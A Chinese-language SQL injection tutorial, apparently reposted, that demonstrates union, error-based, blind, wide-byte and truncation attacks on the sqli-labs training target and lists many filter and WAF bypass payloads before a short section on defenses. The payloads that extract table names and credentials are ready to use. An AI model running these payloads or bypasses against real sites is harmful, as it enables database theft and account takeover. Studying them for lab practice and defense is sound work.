Web安全之SQL注入(原理,繞過,防御)


首先了解下Mysql表結構

mysql內置的information_schema數據庫中有三個表非常重要
1 schemata:表里包含所有數據庫的名字
2 tables:表里包含所有數據庫的所有的表,默認字段為table_name
3 columns:三個列非常重要
    TABLE_SCHEMA:數據庫名
    TABLE_NAME:表名
    COLUMN_NAME:字段名

 

SQL注入原理:web應用沒有對用戶輸入的數據進行嚴格校驗,

導致攻擊者可以在輸入的數據中構造惡意SQL語句獲取后台敏感信息.

 

 

 

分類:

按注入的位置可分為

  GET類型注入

  POST型注入

  HTTP頭部注入

常見的攻擊思路及手法:

基本思路:

第一步:我們輸入的數據,也就是可控參數的改變能不能影響頁面顯示結果.

第二步:能否讓數據庫產生報錯.例如簡單的添加一個單引號看頁面是否有數據庫爆錯信息

第三步:能否不讓數據庫產生報錯.也就是將我們的sql語句跟后台的sql語句成功閉合並且被成功的執行.

攻擊手法:

演示環境為php+Apache+mysql,靶場為sqli-labs

(1)聯合注入:

例題為less-1,加單引號后發現報錯,根據報錯信息

猜測后台語句為SELECT username,password FROM users where id='1' LIMIT 0,1;

而我們輸入的1'導致where后面的篩選條件變為了id='1'',所以出現語法錯誤,

這個時候就需要注釋掉后面的語句比如輸入1‘#發現頁面正常顯示

 

 

 

這個時候后台實際執行時就變成了SELECT username,password FROM users where id='1‘;

因為我們#已經把后面的' LIMIT 0,1;注釋掉了,這樣我們就可以拼接語句

order by判斷查詢的字段數:?id=1'order by 4# 報錯,order by 3正常返回

構造payload:

  爆表名:?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

  爆字段名:?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

  爆字段值:?id=-1'union select 1,group_concat(concat_ws(":",username,password)),3 from users%23

 

(2)報錯注入:

首先要了解兩個函數

  ①extractvalue():從目標XML中返回包含所查詢值的字符串
  extractvalue()(XML_document,XPath_String);
  從第一參數的文檔里查找有沒有第二個參數(字符串)

  ②UPDATAXML(XML_document,XPath_string,new_value)查找並且替換
  參數含義:
  new_value,String格式,替換查找到的符合條件的數據
  XML_document:String格式的XML文檔對象的名字
  XPath_String:Xpath格式的字符串

利用方法:
1.將extractvalue(1,2號位)函數作為查詢字段,在2號位用concat()函數拼接字符串
由於報錯信息太少,concat函數第一個參數用十六進制0x7e也就是~代替,
第二個參數就是具體要查詢的敏感內容
2.將updataxml(1,2號位,3)函數作為查詢字段,在2號位用concat()函數拼接字符串
由於報錯信息太少,concat函數第一個參數用十六進制0x7e也就是~代替,
第二個參數就是具體要查詢的敏感內容

Less11的payload:

uname=1'UNION SELECT 1,extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username LIKE 'admin' limit 0,1)))  %23&passwd=&submit=Submit

 

(3)盲注:

所謂盲注就是我們在測試有無注入點的時候,看不到數據庫的報錯信息,也看不到數據庫
的回顯信息,只能通過頁面狀態的變化,來判斷是否存在注入

布爾盲注:例如less5中構造?id=1' or 1=0%23 頁面正常返回you are in,但當id改為=-1時,or前后條件都為假,頁面返回空,判斷存在布爾類型盲注


構造payload逐步爆破表名
http://127.0.0.1/sqli/less-5/?id=-1' or (SELECT ascii(substr(table_name,1,1))
FROM information_schema.tables
WHERE table_schema = database() limit 0,1)=101 %23

時間盲注:

可以通過返回服務器返回數據的時間判斷頁面是否執行了我們的代碼
涉及到的函數 sleep(),benchmark()
if(1,sleep(),0)
在1處拼接sql語句 ascii(substr((SELECT FROM),1,1))>1

 

(4)寬字節注入:

寬字節注入是利用MySQL的一個特性,
寬字節注入原理即是利用編碼轉換,將服務器端強制添加的本來用於轉義的\符號吃掉
,從而能使攻擊者輸入的引號起到閉合作用,以至於可以進行SQL注入。

GBK編碼一個字符占兩個字節
ASCII站一個字符占用一個字節
PHP中編碼為GBK,函數執行添加的是ASCII編碼,MYSQL默認字符集是GBK等寬字節
字符集

利用方法簡單點就是在被過濾的符號前加上%81等
比如
less32 payload:
?id=0%81' union select 1,user(),version() %23

 

(5)約束攻擊:

原理:對於insert語句 SQL會根據varchar(n)來限制字符串的最大長度
例如:user字段約束為varchar(5)
所以 'admin                123','admin'在insert的時候插入的值是一樣的都是截取前5個字符

而對於select語句來說兩者不一樣
select會原封不動的查詢有沒有匹配'admin          123'的數據
這就造成如果
數據庫的表中如果有字段值為admin,
我們注冊用戶名'admin   123'
sql會先執行select語句查詢表中對應字段值有沒有為'admin   123'的,
當然是沒有,然后插入,由於只能插入前5個字符,所以表中對應字段就多了一個
值為admin,造成任意登錄

SQL注入常見繞過:


注釋可以用#,--+,-- -

過濾關鍵字:大小寫繞過SelEct,雙寫繞過selselectect,內聯注釋繞過/*!select*/

特殊編碼繞過:十六進制,ASCII編碼,unicode編碼,hex編碼

過濾空格:

    %09 TAB鍵(水平)
    %0a 新建一行
    %0c 新的一頁
    %0d return 功能
    %0b TAB(垂直)
    %a0 空格
    %0a 回車(url編碼)
    /**/ 代替空格
    ()包裹關鍵字


過濾or and xor not: || && | !代替

過濾等號=:like代替,rlike,regexp,0<id>1,!(id<>1)

過濾大於號,小於號:
greatest(n1,n2,n3)返回n中最大值,least(n1,n2,n3)最小
strcmp(str1,str2):若所有的字符串均相同,則返回0,若根據當前分類次序,
第一個參數小於第二個,則返回 -1,其它情況返回 1
in關鍵字: where id = 1 and substr(username,1,1) in ('t')
between關鍵字

過濾逗號繞過:
substr("string"from 1 for 3)

join關鍵字:
select * from users union select * from (select 1)a join (select 2)b join(select 3)c
等價於union select 1,2,3
like:關鍵字:select user() like"t%"
offset關鍵字:limit 2,1 等價於limit 1 offset 2

過濾函數繞過:
1)sleep() -->benchmark()

BENCHMARK()函數可以測試某些特定操作的執行速度。
參數可以是需要執行的次數和表達式。
第一個參數是執行次數,第二個執行的表達式

select 1,2 and benchmark(1000000000,1)

2)ascii()–>hex()、bin(),替代之后再使用對應的進制轉string即可

3)group_concat()–>concat_ws(),第一個參數為分隔符

eg:mysql> select concat_ws(",","str1","str2")

4)substr(),substring(),mid()可以相互取代, 取子串的函數還有left(),right()

5)user() --> @@user、datadir–>@@datadir

6)ord()–>ascii():這兩個函數在處理英文時效果一樣,但是處理中文的時候不一致。

    
緩沖區溢出用於對付WAF,因為有不少WAF是C語言寫的,
而C語言自身沒有緩沖區保護機制,
因此如果WAF在處理測試向量時超出了其緩沖區長度,就會引發bug從而實現繞過

payoad:?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重復1000次,
一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度
這里1000只做參考,在某些情況下可能不需要這么長也能溢出

 

防御措施:

代碼層:
    黑名單:不允許哪些關鍵字查詢
    白名單:允許哪些關鍵字查詢
    敏感字符過濾:' " @ --+ -- )  #等
    使用框架安全查詢:一些持久層框架
    規范輸出:不要輸出報錯信息,代碼信息,
配置層
    開啟GPC:比如在PHP里開啟GPC,自動過濾一些通用字符
    使用UTF-8:因為GBK會產生寬字節注入
物理層
    WAF:web應用防火牆,缺點是可繞過,可被0day攻擊,但是網站還是得有,
因為它是最基本的防御措施。
    數據庫審計:對業務查詢代碼進行審計
    雲防護:跟waf基本沒啥區別,就是把客戶端輸入的參數給過濾一遍發給服務器
    IPS(入侵防御系統)

 

  

 

 

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM